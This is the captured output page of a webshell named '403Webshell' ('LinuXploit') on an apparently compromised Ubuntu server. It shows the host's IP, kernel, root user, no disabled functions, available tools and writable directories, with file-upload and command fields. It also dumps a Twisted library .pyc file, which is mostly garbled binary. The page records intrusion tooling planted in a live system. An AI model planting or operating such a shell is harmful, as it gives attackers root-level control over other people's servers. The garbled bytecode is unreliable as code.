403Webshell
Server IP : 139.59.63.204  /  Your IP : 216.73.217.62
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ubuntu-s-1vcpu-1gb-blr1-01 6.8.0-110-generic #110-Ubuntu SMP PREEMPT_DYNAMIC Thu Mar 19 15:09:20 UTC 2026 x86_64
User : root ( 0)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/lib/python3/dist-packages/twisted/web/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /usr/lib/python3/dist-packages/twisted/web/__pycache__/_element.cpython-312.pyc
�

oj����ddlZddlmZmZmZmZmZmZmZm	Z	ddl
mZddlm
Z
mZmZddlmZmZmZerddlmZmZed�Zeded	ef�
�ZGd�d�Zd
ed	efdefd�Zedd��Zee�Gd�d��Zy)�N)�
TYPE_CHECKING�Any�Callable�List�Optional�TypeVar�Union�overload)�implementer)�MissingRenderMethod�MissingTemplateLoader�UnexposedMethodError)�IRenderable�IRequest�ITemplateLoader)�Flattenable�Tag�T�_Tc.)�boundc��eZdZdZdededefdefd�Ze�Ze	dede
dedeffd	��Ze	dede
d
e
deedefe
ffd��Zefdede
d
edefd�Zy
)�Exposea/
    Helper for exposing methods for various uses using a simple decorator-style
    callable.

    Instances of this class can be called with one or more functions as
    positional arguments.  The names of these functions will be added to a list
    on the class object of which they are methods.
    �f�funcObjs.�returnc��tj|g|�D]-}t|dg�}|j|�t	|d|��/|S)a;
        Add one or more functions to the set of exposed functions.

        This is a way to declare something about a class definition, similar to
        L{zope.interface.implementer}.  Use it like this::

            magic = Expose('perform extra magic')
            class Foo(Bar):
                def twiddle(self, x, y):
                    ...
                def frob(self, a, b):
                    ...
                magic(twiddle, frob)

        Later you can query the object::

            aFoo = Foo()
            magic.get(aFoo, 'twiddle')(x=1, y=2)

        The call to C{get} will fail if the name it is given has not been
        exposed using C{magic}.

        @param funcObjs: One or more function objects which will be exposed to
        the client.

        @return: The first of C{funcObjs}.
        �exposedThrough)�	itertools�chain�getattr�append�setattr)�selfrr�fObjrs     �6/usr/lib/python3/dist-packages/twisted/web/_element.py�__call__zExpose.__call__,sQ��8�O�O�Q�C��2�	<�D�+2�4�9I�2�+N�N��!�!�$�'��D�*�N�;�	<����instance�
methodNamec��y�N�)r#r(r)s   r%�getz
Expose.getPs��r'�defaultc��yr+r,)r#r(r)r.s    r%r-z
Expose.getTs��	r'c�z�t||d�}t|dg�}||vr||jurt||��|S|S)aB
        Retrieve an exposed method with the given name from the given instance.

        @raise UnexposedMethodError: Raised if C{default} is not specified and
        there is no exposed method with the given name.

        @return: A callable object for the named method assigned to the given
        instance.
        Nr)r �
_nodefaultr)r#r(r)r.�methodrs      r%r-z
Expose.getZsL����:�t�4�� ��)9�2�>���~�%��$�/�/�)�*�4��<�<��N��
r'N)�__name__�
__module__�__qualname__�__doc__rr�objectr&r1r
�strrr-rr	r,r'r%rr"s���� �#� �X�c�6�k�-B� �s� �D��J�
��F������c��8J��������,/��:;��	�x��S��!�1�$�	%����DN����,/��:@��	�r'r�thunkrc�<�t�}|j|_|Sr+)rr6)r9�exposes  r%�exposerr<os��
�X�F��]�]�F�N��Mr'c��y)a�
    Decorate with L{renderer} to use methods as template render directives.

    For example::

        class Foo(Element):
            @renderer
            def twiddle(self, request, tag):
                return tag('Hello, world.')

        <div xmlns:t="http://twistedmatrix.com/ns/twisted.web.template/0.1">
            <span t:render="twiddle" />
        </div>

    Will result in this final output::

        <div>
            <span>Hello, world.</span>
        </div>
    Nr,r,r'r%�rendererr>us�r'c�t�eZdZUdZdZeeed<ddeefd�Zde	de
eedgdffd	�Zd
eeddfd�Z
y)
�Elementa�
    Base for classes which can render part of a page.

    An Element is a renderer that can be embedded in a stan document and can
    hook its template (from the loader) up to render methods.

    An Element might be used to encapsulate the rendering of a complex piece of
    data which is to be displayed in multiple different contexts.  The Element
    allows the rendering logic to be easily re-used in different ways.

    Element returns render methods which are registered using
    L{twisted.web._element.renderer}.  For example::

        class Menu(Element):
            @renderer
            def items(self, request, tag):
                ....

    Render methods are invoked with two arguments: first, the
    L{twisted.web.http.Request} being served and second, the tag object which
    "invoked" the render method.

    @ivar loader: The factory which will be used to load documents to
        return from C{render}.
    N�loaderc��|�||_yyr+)rA)r#rAs  r%�__init__zElement.__init__�s���� �D�K�r'�namerrrc�P�tj||d�}|�t||��|S)z=
        Look up and return the named render method.
        N)r>r-r)r#rDr2s   r%�lookupRenderMethodzElement.lookupRenderMethod�s-�����d�D�$�/���>�%�d�D�1�1��
r'�requestc�T�|j}|�t|��|j�S)a�
        Implement L{IRenderable} to allow one L{Element} to be embedded in
        another's template or rendering output.

        (This will simply load the template from the C{loader}; when used in a
        template, the flattening engine will keep track of this object
        separately as the object to lookup renderers on and call
        L{Element.renderer} to look them up.  The resulting object from this
        method is not directly associated with this L{Element}.)
        )rAr
�load)r#rGrAs   r%�renderzElement.render�s)�������>�'��-�-��{�{�}�r'r+)r3r4r5r6rArr�__annotations__rCr8rrrFrJr,r'r%r@r@�sj���4)-�F�H�_�%�,�!�x��8�!�	��	�	�8�H�%�u�-�}�<�	=�	��h�x�0��]�r'r@)rN)r�typingrrrrrrr	r
�zope.interfacer�twisted.web.errorrr
r�twisted.web.iwebrrr�twisted.web.templaterrrr7rrr<r>r@r,r'r%�<module>rQs���
�	�	�	�'���
D�C��5��C�L��
�e�8�C��K�0�1��J�J�Z�8�C��K�(��V��	��	��.
�[��:�:��:r'

Youez - 2016 - github.com/yon3zu
LinuXploit